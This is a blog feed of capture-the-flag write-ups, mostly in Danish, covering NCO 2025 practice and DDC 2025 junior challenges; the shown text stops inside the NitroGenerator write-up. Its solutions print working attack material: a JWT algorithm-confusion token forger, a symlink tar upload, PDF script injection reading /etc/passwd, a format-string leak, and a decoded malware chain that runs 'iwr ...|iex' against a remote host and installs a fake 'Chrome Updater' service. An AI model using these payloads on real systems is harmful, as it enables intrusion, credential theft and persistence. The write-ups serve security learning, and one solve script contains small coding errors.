We were given a pcap file and the task was to analyze the packets to find the flag.

File:

One way to solve this challenge is to use strings to extract all the strings from the pcap file:

strings packet2.pcap

This leaves us with 4 flags, but only one of them is correct.

  1. NCO2025{F@ls3Fl@9}
  2. NCO2025{H1d3_th3_Fl4g5}
  3. NCO2025{R34l_F1@9}
  4. NCO2025{H1dd3n_1n_Ipv6}

The correct flag is NCO2025{H1dd3n_1n_Ipv6}.

Flag: NCO2025{H1dd3n_1n_Ipv6}

Pentest Challenge

We were given a python script that looks like a classic obfuscation challenge. The task was to find the flag.

File:

Changing the exec() to print() in the script allows us to see the code without executing it. The code is obfuscated, but after 50 rounds of deobfuscation, we can see the original code. This can be automated using the replace function and a loop.

import socket

# Define server address and port
UDP_IP = "0.0.0.0"  # Listen on all available network interfaces
UDP_PORT = 5033     # Choose any available port
BUFFER_SZ = 4096  
CODE_FMT = 'utf-8'
# Create a UDP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind((UDP_IP, UDP_PORT))

keyVal = 2025 

while True:
    # Receive message from client
    data, addr = server_socket.recvfrom(1024)
    dataStr = None 
    try:
        dataStr = data.decode(CODE_FMT)
    except Exception as err:
        msg = b"Input data format incorrect.Please Try again."
        server_socket.sendto(msg, addr)
        continue
    result = ''
    for char in dataStr:
        result += chr((ord(char) + keyVal - 97) % 26 + 97)
    
    if result == 'pentestpass':
        msg = b"Processed message:pentestpass, You have input the correct flag string"
        server_socket.sendto(msg, addr)
        continue
    msg = "Processed message:" 
    msg += result
    msg = msg.encode(CODE_FMT)
    server_socket.sendto(msg, addr)

Looking at the code, we can see that it is a simple UDP server that listens for messages. The server processes the message by shifting each character by 2025 positions in the alphabet.

First we need to find the shift, this is done by taking the modulo of the shift value with 26, which is the number of letters in the alphabet.

2025 % 26 = 23

We can then reverse the shift by subtracting 23 from each character in the message.

print(''.join([chr((ord(c) - 23 - 97) % 26 + 97) for c in "pentestpass"]))

Flag: NCO2025{shqwhvwsdvv}

Conclusion

I found the NCO 2025 practice platform to be a great way to prepare for the ICO 2025. The challenges were well-designed and but pretty easy for me. I only spend 1 hour on the platform, but I was able to solve all the challenges you see here. I hope the challenges will be more difficult in the actual competition!

]]>DDC - Nationals Junior 2025 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_nationals_junior_2025/Sat, 03 May 2025 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_nationals_junior_2025/<blockquote> <p>En kæmpe tak til DDC for at arrangere denne fantastiske begivenhed og til alle de deltagende for at gøre det til en uforglemmelig oplevelse! 🙌</p> </blockquote> <h2 id="junior-scoreboard-top-10">Junior Scoreboard (top 10):</h2> <p><img src="https://ha1fdan.xyz/ddc_nationals_2025/top_10_users.png" alt="ddc2024_scoreboard.png"></p> <hr> <h2 id="opgaver-løst">Opgaver løst:</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> <th>Value</th> </tr> </thead> <tbody> <tr> <td><a href="#random-aes">Random AES</a></td> <td>Cryptography</td> <td>100</td> </tr> <tr> <td><a href="#photo-album">Photo Album</a></td> <td>Web exploitation</td> <td>217</td> </tr> <tr> <td><a href="#1337guesser">1337guesser</a></td> <td>Reverse Engineering</td> <td>100</td> </tr> <tr> <td><a href="#block-party">Block Party</a></td> <td>Cryptography</td> <td>186</td> </tr> <tr> <td><a href="#unexpected-invoice">Unexpected Invoice</a></td> <td>Forensics</td> <td>353</td> </tr> <tr> <td><a href="#b%C3%B8f-baserede-v%C3%A6rdipapirer-og-emails">Bøf-baserede værdipapirer og emails</a></td> <td>Forensics</td> <td>557</td> </tr> <tr> <td><a href="#evilplot-parking-group">EvilPlot Parking Group</a></td> <td>Web exploitation</td> <td>186</td> </tr> <tr> <td><a href="#bugtracker">BugTracker</a></td> <td>Web exploitation</td> <td>100</td> </tr> <tr> <td><a href="#the-legend">The Legend</a></td> <td>Web exploitation</td> <td>709</td> </tr> <tr> <td><a href="#el-reverso">El Reverso</a></td> <td>Binary</td> <td>300</td> </tr> </tbody> </table> <p><strong>Disse opgaver gav mig 2808 points og en 6 plads i Junior kategorien.</strong></p>

En kæmpe tak til DDC for at arrangere denne fantastiske begivenhed og til alle de deltagende for at gøre det til en uforglemmelig oplevelse! 🙌

Junior Scoreboard (top 10):

ddc2024_scoreboard.png

Opgaver løst:

Challenge Category Value
Random AES Cryptography 100
Photo Album Web exploitation 217
1337guesser Reverse Engineering 100
Block Party Cryptography 186
Unexpected Invoice Forensics 353
Bøf-baserede værdipapirer og emails Forensics 557
EvilPlot Parking Group Web exploitation 186
BugTracker Web exploitation 100
The Legend Web exploitation 709
El Reverso Binary 300

Disse opgaver gav mig 2808 points og en 6 plads i Junior kategorien.

Random AES

Jeg vil helst undgå noget fancy, der kan gå galt, så jeg holder mig til CTR-tilstand og et tilfældigt bibliotek til keygen. Hvor mange fejl kan man egentlig lave på bare 10 linjer Python?

Handout (random-aes.zip)

Løsning: Da nøglen er valgt tilfældigt mellem range(0, 2**128), kan vi bare brute-force den.

rom Crypto.Cipher import AES

def brute_force_key(iv, ciphertext):
    iv = bytes.fromhex(iv)
    ciphertext = bytes.fromhex(ciphertext)
    
    for key_int in range(0,2^128):
        key = key_int.to_bytes(16, 'little')
        aes = AES.new(key, AES.MODE_CTR, nonce=iv)
        
        try:
            decrypted = aes.decrypt(ciphertext)
            if b'DDC{' in decrypted:  # Prøv at finde flaget
                print("Decrypted text:", decrypted)
                return key
        except (ValueError, KeyError):
            continue
    
    raise ValueError("Could not brute force the key")

iv = "7f3a8b13e6168fcf"
ct = "98f3824b84bd2fbea359de2af97155d80c6c26acb6a7d4b3452f94cd84c0f561bd5407bb7f7aa72f01b245"

key = brute_force_key(iv, ct)
print("Found key:", key.hex())

Flag: DDC{Oh_oops_writing_too_much_sage_recently}

Photo Album

Upload dine billeder!

Handout (photo-album.zip)

Løsning: Upload et billede med et symlink til flag.txt i et tar-archive og download dit billede igen, så den læser serverens /flag.txt.

touch /flag.txt
ln -s /flag.txt flag.jpg
tar -cvf archive.tar flag.jpg
curl -o /dev/null -X POST -F "file=@archive.tar" http://photo-album.hkn
curl http://photo-album.hkn/static/albums/flag.jpg

Flag: DDC{f4k3_im4g3_r34l_fl4g}

Det er først efter jeg har løst opgaven at jeg opdager at der var handout😂

1337guesser

Kan du slå mit “simple” spil? 👾 Hver gang du gætter forkert, vil der blive genereret et nyt nummer. 🙀

Løsning: Ved at bruge deobfuscate.io kan vi læse os frem til at flaget kun bliver vist hvis vores request header indeholder X-Requested-With: XMLHttpRequest.

Uddrag af javascript fra hjemmesiden:

<script>
    function _0x201b(_0x212891,_0x4755c3){const _0xba2e68=_0xba2e();return _0x201b=function(_0x201bed,_0x195c3f){_0x201bed=_0x201bed-0x103;let _0x20b3fa=_0xba2e68[_0x201bed];return _0x20b3fa;},_0x201b(_0x212891,_0x4755c3);}function _0xba2e(){const _0x31c9d5=['1271130vEUMHI','726NwqEnD','2590929KffKwd','10zgROeg','textContent','1907892RjhURJ','then','floor','json','querySelector','broken:','643748PGTkWr','random','error','747582CXYNGL','flag','11rEjJAg','getElementById','value','10267090tZryet','catch','8rBlUdG','154hWPsOr'];_0xba2e=function(){return _0x31c9d5;};return _0xba2e();}const _0x22a063=_0x201b;(function(_0x142287,_0x5b49a2){const _0x46a970=_0x201b,_0x3821d3=_0x142287();while(!![]){try{const _0x11d434=-parseInt(_0x46a970(0x105))/0x1*(-parseInt(_0x46a970(0x103))/0x2)+-parseInt(_0x46a970(0x112))/0x3+-parseInt(_0x46a970(0x10f))/0x4*(parseInt(_0x46a970(0x107))/0x5)+parseInt(_0x46a970(0x104))/0x6+-parseInt(_0x46a970(0x109))/0x7+-parseInt(_0x46a970(0x119))/0x8*(parseInt(_0x46a970(0x106))/0x9)+parseInt(_0x46a970(0x117))/0xa*(parseInt(_0x46a970(0x114))/0xb);if(_0x11d434===_0x5b49a2)break;else _0x3821d3['push'](_0x3821d3['shift']());}catch(_0x58d7ec){_0x3821d3['push'](_0x3821d3['shift']());}}}(_0xba2e,0x27c91));let _0x69d1d3d37=Math[_0x22a063(0x10b)](Math['random']()*0x3e8)*0x2b;function README(){const _0x49540a=_0x22a063;let _0x32fdb4=parseInt(document[_0x49540a(0x115)]('b')[_0x49540a(0x116)]);_0x32fdb4===_0x69d1d3d37?fetch('/',{'headers':{'X-Requested-With':'XMLHttpRequest'}})[_0x49540a(0x10a)](_0x5d750b=>_0x5d750b[_0x49540a(0x10c)]())[_0x49540a(0x10a)](_0x9a506b=>{const _0x2faaf1=_0x49540a;document[_0x2faaf1(0x10d)]('h1')[_0x2faaf1(0x108)]='::'+_0x9a506b[_0x2faaf1(0x113)];})[_0x49540a(0x118)](_0x4a46f7=>{const _0x53d305=_0x49540a;console[_0x53d305(0x111)](_0x53d305(0x10e),_0x4a46f7);}):alert('checking.. flag will not be displayed if false');_0x69d1d3d37=Math[_0x49540a(0x10b)](Math[_0x49540a(0x110)]()*0x3e8)*0x2b;}document['getElementById']('v')['addEventListener']('click',README);
</script>

curl 'http://1337-guesser.hkn/' -H 'X-Requested-With: XMLHttpRequest'
{"flag":"DDC{1337_d3crypt0r_g0d}"}

Flag: DDC{1337_d3crypt0r_g0d}

Block Party

Vi modtog besked om, at vores fjende planlagde at angribe ved daggry.

Den krypterede ordre er blevet sendt via deres brugerdefinerede krypteringssystem, der kombinerer mange forskellige AES algoritmer.

Kan du intercept beskeden og narre dem til at angribe ved skumringstid i stedet?

Kan du hjælpe os?

Handout (block-party.zip)

Løsning: Efter at have kigget på koden, kan vi se at den er vulnerable overfor et XOR Known-Plaintext Attack

Full solve script:

from pwn import *
r = remote("blockparty.hkn", 1337)
#r = process(["python3", "main.py"])

r.recvuntil(b"Ciphertext: ")
ciphertext = bytes.fromhex(r.recvline().strip().decode())

# calc XOR diff between "dawn" and "dusk"
diff = bytes([ord('d') ^ ord('d'), ord('a') ^ ord('u'), ord('w') ^ ord('s'), ord('n') ^ ord('k')])
dawn_position = b'!Attack at dawn tomorrow!'.find(b'dawn')

modified_ciphertext = bytearray(ciphertext)
for i in range(4):
    if i + dawn_position < 16:  # Ensure we're within IV bounds
        modified_ciphertext[i + dawn_position] ^= diff[i]

r.sendline(modified_ciphertext.hex().encode())
r.recvuntil(b"Verifying the integrity of the received ciphertext...\n")
print(r.recvline().strip().decode())

Flag: DDC{m0d35_0f_0p3r4t10n_gall0r3}

Unexpected Invoice

Vi har fået en invoice fra en eller anden som siger han har lavet en challenge til DDC og skal have nogle penge? Det virker lidt mærkeligt det hele… Kan du tage et kig?

Handout (unexpected-invoice.zip)

Løsning: Ved at åbne zip filen kan vi se at der er en javascript fil gemt som en pdf Invoice 42.pdf.js. Ved at åbne filen i en editor kan vi se at det er VBScript fil, den indeholder en pdf fil encoded med base64 samt nogle funktioner. 2 af dem er dec2 og dec, som dekoder noget data med en XOR key:

function dec2(base64) {
    var xml = new ActiveXObject("MSXML2.DOMDocument.3.0");
    var el = xml.createElement("base64");
    el.dataType = "bin.base64";
    el.text = base64;
    var bin = el.nodeTypedValue;

    var stream = new ActiveXObject("ADODB.Stream");
    stream.Type = 1;
    stream.Open();
    stream.Write(bin);
    stream.Position = 0;
    stream.Type = 2;
    stream.Charset = "utf-8";
    var str = stream.ReadText();
    stream.Close();
    return str;
}

function dec(str, key) {
    str = dec2(str)
    var result = "";
    for (var i = 0; i < str.length; i++) {
        var charCode = str.charCodeAt(i);
        var keyCharCode = key.charCodeAt(i % key.length);
        result += String.fromCharCode(charCode ^ keyCharCode);
        
    }
    return result;
}

var shellApp = new ActiveXObject("Shell.Application");
shellApp.ShellExecute(filePath, "", "", "open", 1);
shellApp.ShellExecute(dec("NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8", "w8T@Y@V7Bpx^w"), dec("dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u", "XVteJYO^t!9&%"), "", "open", 0);

Vi kan hurtigt lave en replika af funktionen i python:

import base64
def dec(enc_str, key):
    decoded_str = base64.b64decode(enc_str).decode('utf-8')
    result = ""
    for i in range(len(decoded_str)):
        char_code = ord(decoded_str[i])
        key_char_code = ord(key[i % len(key)])
        result += chr(char_code ^ key_char_code)
    return result

print(dec("NAIIFzAuMlg1AyQNDgRMMS1qcgpgKx4cMQAEaDs3PDIFXyccFAIBRhZkHCkvIVIwAxA7GxsWMTg8", "w8T@Y@V7Bpx^w"))
print(dec("dTVUDD0rbzYAVUlVH3d5FwolNWItAVNfCx1vMBdLJTUmc0UYXwhSNyQfADgqYToRVxZaTD0u", "XVteJYO^t!9&%"))

Dette giver os 2 strings:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-c iwr https://cool-surf-87fc.oli-19f.workers.dev/|iex

Dette bruger powershell til at invoke en URL og køre den.

Vi kan nu åbne https://cool-surf-87fc.oli-19f.workers.dev i en browser for at se indholdet. I browseren kan vi se flere hundred linjer base64 encoded powershell script.

Efter at have kigget flere af dem igennem, er det kun den aller sidste der er interessant. Vi kan dekode den med CyberChef

Her finder vi noget powershell kode som laver en liste af tal og xor dem med en key på 23 og til sidst omsætter det til en string som igen bliver invoked.

$inputLocale = Get-WinUserLanguageList | Select-Object -First 1
$a = @(58, 99, 55, 100, 114, 101, 97, 126, 116, 114, 55, 58, 116, 55, 53, 84, 45, 75, 64, 126, 121, 115, 120, 96, 100, 75, 68, 110, 100, 99, 114, 122, 36, 37, 75, 116, 122, 115, 57, 114, 111, 114, 53, 55, 58, 118, 55, 53, 56, 116, 55, 103, 120, 96, 114, 101, 100, 127, 114, 123, 123, 55, 58, 116, 55, 126, 96, 101, 55, 127, 99, 99, 103, 100, 45, 56, 56, 116, 37, 100, 114, 101, 97, 114, 101, 57, 127, 124, 121, 56, 69, 82, 69, 83, 114, 37, 70, 96, 115, 37, 34, 113, 115, 80, 112, 109, 79, 36, 94, 39, 78, 122, 94, 111, 115, 81, 46, 120, 90, 80, 96, 109, 79, 109, 81, 39, 79, 109, 81, 109, 79, 36, 94, 39, 115, 80, 112, 109, 116, 123, 46, 125, 115, 79, 94, 111, 117, 36, 65, 109, 113, 70, 42, 42, 53, 55, 58, 121, 55, 53, 84, 127, 101, 120, 122, 114, 55, 66, 103, 115, 118, 99, 114, 101, 53, 55, 58, 122, 55, 118, 115, 115)
function d($c, $e) {
    $r = ""
    for ($i = 0; $i -lt $c.Length; $i++) {
        $r += [char]($c[$i] -bxor $e)
    }
    return $r
}
if ($inputLocale.InputMethodTips -match "0409:00000419" -or $inputLocale.InputMethodTips -match "00000419") {
    $b = 23
    Invoke-SharPersist (d $a $b)
}

Vi kan replikerer koden i python for at dekode hvad det næste trin er:

a = [58, 99, 55, 100, 114, 101, 97, 126, 116, 114, 55, 58, 116, 55, 53, 84, 45, 75, 64, 126, 121, 115, 120, 96, 100, 75, 68, 110, 100, 99, 114, 122, 36, 37, 75, 116, 122, 115, 57, 114, 111, 114, 53, 55, 58, 118, 55, 53, 56, 116, 55, 103, 120, 96, 114, 101, 100, 127, 114, 123, 123, 55, 58, 116, 55, 126, 96, 101, 55, 127, 99, 99, 103, 100, 45, 56, 56, 116, 37, 100, 114, 101, 97, 114, 101, 57, 127, 124, 121, 56, 69, 82, 69, 83, 114, 37, 70, 96, 115, 37, 34, 113, 115, 80, 112, 109, 79, 36, 94, 39, 78, 122, 94, 111, 115, 81, 46, 120, 90, 80, 96, 109, 79, 109, 81, 39, 79, 109, 81, 109, 79, 36, 94, 39, 115, 80, 112, 109, 116, 123, 46, 125, 115, 79, 94, 111, 117, 36, 65, 109, 113, 70, 42, 42, 53, 55, 58, 121, 55, 53, 84, 127, 101, 120, 122, 114, 55, 66, 103, 115, 118, 99, 114, 101, 53, 55, 58, 122, 55, 118, 115, 115]
r = ""
for c in a:
    r += chr(c ^ 23)
print(r)

Efter at have kørt koden, får vi en ny powershell kommando:

-t service -c "C:\Windows\System32\cmd.exe" -a "/c powershell -c iwr https://c2server.hkn/RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ==" -n "Chrome Updater" -m add

Her fanger RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ== min opmærksomhed. Det ligner base64, og efter at have dekodet det, får vi:

halfdan@desktop:~$ echo RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ== | base64 -d
DDC{d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous}

Flag: DDC{d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous}

Bøf-baserede værdipapirer og emails

I en yderst vigtig e-mail korrespondance diskuterer JD Vance og Donald Trump forretningsidéer i topklasse, store hemmeligheder og absolut ikke mistænkelige aftaler. Dog har de, enten på grund af manglende cybersikkerhedsprincipper eller en lidt for afslappet tilgang til dem, efterladt et flag i en af deres e-mails.

Uheldigt for dem (men heldigt for vores Nationals-deltagere) blev en kopi af denne udveksling opsnappet via en ikke-offentliggjort XKEYSCORE-node. En tidligere NSA-medarbejder, der netop var blevet fyret af Elon Musks DOGE-projekt, har lækket et disk-image fra denne XKEYSCORE-node og han så bestemt ikke tilfreds ud.

Handout (XKEYSCORE-NODE-1.zip)

Løsning: Ved at loade .vhd filen ind i Autopsy kan vi se at der er 2 slettede filer, den ene er en pcap fil ved navn bigsteakinterception.pcap. Efter at have åbnet pcap filen i Wireshark kan vi sortere på imf, her finder vi en steam (tcp.stream eq 4) som indeholder en mail fra machine1@machine1.local til vance@mailserver.local med emnet re: Very Important Business #MakeAmericaGreatAgain. I denne mail er der et vedhæftet billede som hedder very_secure_file.jpeg. Efter at have kopiret al base64 dataen fra mailen og gemt det i en fil, kan vi dekode det med base64 -d very_secure_file.txt > very_secure_file.jpeg.

Når vi åbner billedet, kan vi se at det indeholder et flag.

very_secure_file.jpeg

Flag: DDC{HUGE_VERY_BIG_COIN}

EvilPlot Parking Group

YOOOO!

Der er en date på vej – og jeg har NUL gæsteparkeringer tilbage. Hvis der ikke kan parkeres, er aftenen totalt ødelagt.

Der må være et hul i det her system. Måske kan du “låne” nabo Bentes mail og rippe hende for gæsteparkeringer…

Der må være et eller andet sted på siden, hvor vi kan finde en genvej – måske en URL, som de fleste ikke lige tænker over at tjekke? Prøv at kigge alle de steder, der kunne give mening.

Skynd dig… bilen er lige om hjørnet.

Løsning: Efter at have tjekket /robots.txt finder vi /apidocs - her er der et “debug user” endpoint. Ved at indsætte User ID 1, får vi en 200 OK med brugeren bente@mail.dk med plot id 6.

Efter at have kigget source koden igennem finder vi en javascript fil (/static/utils.js) i static mappen:

const CONFIG = {
  maxRetries: 5,
  enableLogs: false,
  debugMode: false,
  theme: "dark",
  SECRET: "th1sIsN0tTh3S3cretUreL00k1ngF0r",
  fallbackPlotId: 99,
  hashVersion: "v2.1-beta",
  useLegacyHash: true,
};

async function sha256(message) {
  const msgBuffer = new TextEncoder().encode(message);
  const hashBuffer = await crypto.subtle.digest("SHA-256", msgBuffer);
  const hashArray = Array.from(new Uint8Array(hashBuffer));
  const hashHex = hashArray
    .map((b) => b.toString(16).padStart(2, "0"))
    .join("");
  return hashHex;
}

async function generateAuthHash(email, pId) {
  // This hash combines the users email, plot id and secret to create a hash
  return await sha256(email + pId + CONFIG.SECRET);
}

Dette er den måde serveren genererer auth hash på. Den bruger SHA256 til at hash’e email, plot id og en hardcoded secret.

Vi kan derfor lave vores egen hash og lave en gæsteparking som brugeren bente@mail.dk.

echo -n "bente@mail.dk6th1sIsN0tTh3S3cretUreL00k1ngF0r" | sha256sum
b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e

Nu kan lave en gæsteparkering ved at besøge denne URL: http://evilplot.hkn/create-parking?user=bente@mail.dk&pId=6&auth=b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e og lave en gæsteparkering.

Flag: DDC{D4MN_P4rK1nG_C0Mp4n13S_4_3v3R}

BugTracker

Her er vores bugtracker - hvor vi har helt styr på næsten alle fejl.

Handout (bugtracker.zip)

Løsning: Efter at have kigget i source koden lidt, kan vi se at serveren bruger JWT til auth, og at public key er hardcoded i koden. Vi kan ændre den algoritme der bruges til at signere token, ved at lave et Algorithm confusion attack.

Full solve script:

import requests
import json
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import hmac
import hashlib
import urllib.parse

BASE_URL = "http://bugtracker.hkn"

# Hardcoded public key from the handout
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu312Aqc7m8puqI5i0mm4
+CdBRYRmccFwJme1qHVAc0RcIPSS6k3hJ/WZJgQyDuTt/DUtYb2pbVTzIso3v5HR
FodZ8zZdqHLBF+V8uVluwXGyjw5i7mpBS8PJQMMIL3tEPmYB21KKF1cfkMbDYE6S
r8BchYraXnAtLj+w6w1rzTOEYsqbktCq29xXTWU8+E+mOUYKHS8n8olyPEBfiaHY
fy7nUt+uMrUXxayrTWMi7HduFq4ZW7kUnH66koTo26x+HuhHuh9lhIdVLKmB64Yq
Kyt88r1XOAXI9cMVQZqdRuGbYSg8UgLE1mzqxkAzv0E6hITTJYQdCTAiuUX1Dj1M
bwIDAQAB
-----END PUBLIC KEY-----"""

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')

#### EXPLOIT ####
data = {"username": "test","password": "test"}
requests.post(f"{BASE_URL}/signup", json=data)
response = requests.post(f"{BASE_URL}/login", json=data)
token = response.json().get("token")

# PAYLOAD
parts = token.split('.')
payload_b64 = parts[1]
padding_needed = 4 - (len(payload_b64) % 4)
if padding_needed < 4:
    payload_b64 += '=' * padding_needed
payload = json.loads(base64.urlsafe_b64decode(payload_b64).decode('utf-8'))

# HEADER
header_b64 = parts[0]
padding_needed = 4 - (len(header_b64) % 4)
if padding_needed < 4:
    header_b64 += '=' * padding_needed
header = json.loads(base64.urlsafe_b64decode(header_b64).decode('utf-8'))

key_obj = serialization.load_pem_public_key(
    public_key.encode(),
    backend=default_backend()
)

raw_key_bytes = key_obj.public_bytes(
    encoding=serialization.Encoding.DER,
    format=serialization.PublicFormat.SubjectPublicKeyInfo
)

# CHANGE algorithm from RS256 to HS256
header["alg"] = "HS256"
# SET ROLE TO ADMIN
payload["role"] = "admin"

signing_input = f"{b64url_encode(json.dumps(header))}.{b64url_encode(json.dumps(payload))}"
signature = hmac.new(raw_key_bytes, signing_input.encode('utf-8'), hashlib.sha256).digest()
forged_token = f"{signing_input}.{b64url_encode(signature)}"

# Get the flag with our admin token
query = [
    { "$limit": 1 },
    { "$unionWith": {
        "coll": "flags",
        "pipeline": [
            { "$match": { "label": "ctf_flag" } }
        ]
    }}
]

headers = {"Authorization": f"Bearer {forged_token}"}
r = requests.get(f"{BASE_URL}/admin_search?query={urllib.parse.quote(json.dumps(query))}", headers=headers)
print(r.json()['results'][1]['flag'])

Flag: DDC{c0nfu53d_4nd_vuln3r4bl3}

The Legend

Velkommen, tapre eventyrer!

Jeg har lavet en mega fed legende generator, gå da lige ind og check den ud og få din helt egen custom legende!!.

Løsning: Når vi laver en ny legende, kan vi se i exif dataen at pdfen er lavet med wkhtmltopdf v. 0.12.5 som er sårbar overfor CVE-2020-21365.

Ved at indsætte dette script i pdfen kan vi leake brugerne på serveren:

<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>

mrbeef:x:1000:1000::/home/mrbeef:/bin/bash

Vikan se at der er en bruger der hedder mrbeef og ud fra dette kan vi gætte på at flaget ligger i /home/mrbeef/flag.txt.

<script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///home/mrbeef/flag.txt"); x.send(); </script>

Flag: DDC{w4x3d_4nd_w1ck3d_pdF_m4st3ry}

El Reverso

Har du problemer med at forstå Carlos El Reverso Santiago Dominguez Rodriguez Martinez? Dette program kan hjælpe ved at oversætte!

Handout (elreverso.zip)

Løsning: Vi bruger %s<num>$s til at leake arguments, som programmet er startet med. Men vi skal også huske at reversere strengen, da den er reverseret i programmet.

halfdan@desktop:~/Downloads$ nc translate.hkn 1337
> s$09%
SOCAT_SOCKPORT=1337
> s$08%
}T2E8_EHT_M4_1_02REVER_LE_M4_1{CDD

halfdan@desktop:~/Downloads$ echo '}T2E8_EHT_M4_1_02REVER_LE_M4_1{CDD' | rev
DDC{1_4M_EL_REVER20_1_4M_THE_8E2T}

Flag: DDC{1_4M_EL_REVER20_1_4M_THE_8E2T}

]]>DDC - Regionals Junior 2025 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_regionals_junior_2025/Sat, 05 Apr 2025 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_regionals_junior_2025/<blockquote> <p>Tusind tak til DDC for at lave denne fantastiske CTF, og til alle de andre deltagere for at gøre det sjovt! Jeg havde en fantastisk tid og lærte meget. Jeg glæder mig til at se jer til nationals!</p> </blockquote> <h2 id="syddanmark-scoreboard">Syddanmark Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/ddc_regionals_2025/syddanmark.png" alt="ddc2024_scoreboard.png"></p> <h2 id="global-scoreboard-top-10">Global Scoreboard (top 10):</h2> <p><img src="https://ha1fdan.xyz/ddc_regionals_2025/top10_global.png" alt="ddc2024_scoreboard.png"></p> <p><a href="https://ha1fdan.xyz/ddc_regionals_2025/Slides_RM_2025_announcement.pdf">Powerpoint med resultater</a></p> <hr> <h2 id="opgaver-løst">Opgaver løst</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#exponential-caesar">Exponential Caesar</a></td> <td>Crypto</td> </tr> <tr> <td><a href="#nitrogenerator">NitroGenerator</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#wizardtrial">WizardTrial</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#baby-session-forger">Baby session forger</a></td> <td>Misc</td> </tr> <tr> <td><a href="#katchat">KatChat</a></td> <td>Beginner</td> </tr> <tr> <td><a href="#gateway">Gateway</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#sysmon-spectacle">sysmon-spectacle</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#third-time-is-the-charm">Third time is the charm</a></td> <td>Boot2Root</td> </tr> <tr> <td><a href="#find-my-files">Find my files</a></td> <td>Boot2Root</td> </tr> <tr> <td><a href="#stuckat99">StuckAt99</a></td> <td>Binary</td> </tr> <tr> <td><a href="#systemreaper">SystemReaper</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#hidden-in-plain-sight">Hidden in Plain Sight</a></td> <td>Misc</td> </tr> </tbody> </table> <p><strong>Disse opgaver gav mig 2636 points og en 3 plads i Syddanmark, og 4 plads på hele Junior platformen.</strong></p>

Tusind tak til DDC for at lave denne fantastiske CTF, og til alle de andre deltagere for at gøre det sjovt! Jeg havde en fantastisk tid og lærte meget. Jeg glæder mig til at se jer til nationals!

Syddanmark Scoreboard:

ddc2024_scoreboard.png

Global Scoreboard (top 10):

ddc2024_scoreboard.png

Powerpoint med resultater

Opgaver løst

Challenge Category
Exponential Caesar Crypto
NitroGenerator Forensics
WizardTrial Reverse Engineering
Baby session forger Misc
KatChat Beginner
Gateway Web exploitation
sysmon-spectacle Forensics
Third time is the charm Boot2Root
Find my files Boot2Root
StuckAt99 Binary
SystemReaper Forensics
Hidden in Plain Sight Misc

Disse opgaver gav mig 2636 points og en 3 plads i Syddanmark, og 4 plads på hele Junior platformen.

Exponential Caesar

Jeg har forsøgt at gøre Cæsar-chifferet sikkert med ideer fra gruppeteori.

Nu udføres kryptering ved eksponentiering, som skal være meget mere sikker end simpel addition eller multiplikation.

Kan du dekryptere flaget?

Husk at lægge resultatet ind i flagformatet. (ddc eksempel flag -> DDC{eksempel_flag})

Handout (crypto-expcaesar.zip)

Løsning:

import string
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def inverse_mult(c, b):
    if c in string.whitespace:
        return c
    for a in alphabet:
        if pow(alphabet.index(a), alphabet.index(b), len(alphabet)) == alphabet.index(c):
            return a
    return '?'
def caesar_decrypt(key, text):
    plaintext = ""
    for c in text:
        plaintext += inverse_mult(c, key)
    return plaintext


ciphertext = "pps øxf vigfm in saftam dt eiø fuviefeødak"

for key in alphabet:
    decrypted = caesar_decrypt(key, ciphertext)
    if "ddc" in decrypted:
        print(decrypted)
        break

Dette giver et output på: ddc the power of caesar is not exponential -> DDC{the_power_of_caesar_is_not_exponential}

Flag: DDC{the_power_of_caesar_is_not_exponential}

NitroGenerator

I downloaded a downloaded a script that was supposed to give me free Discord Nitro codes. But when I ran it, it suddenly disappeared. I suspect it was malicious. Can you help me find out what it did?

Handout (capture-ng.zip)

Løsning: Fra capture.pcapng kan vi sorte på http og se at der er en GET request til /nitro-generator.py, denne python fil kan vi exportere via File -> Export Objects -> HTTP og så vælge nitro-generator.py.

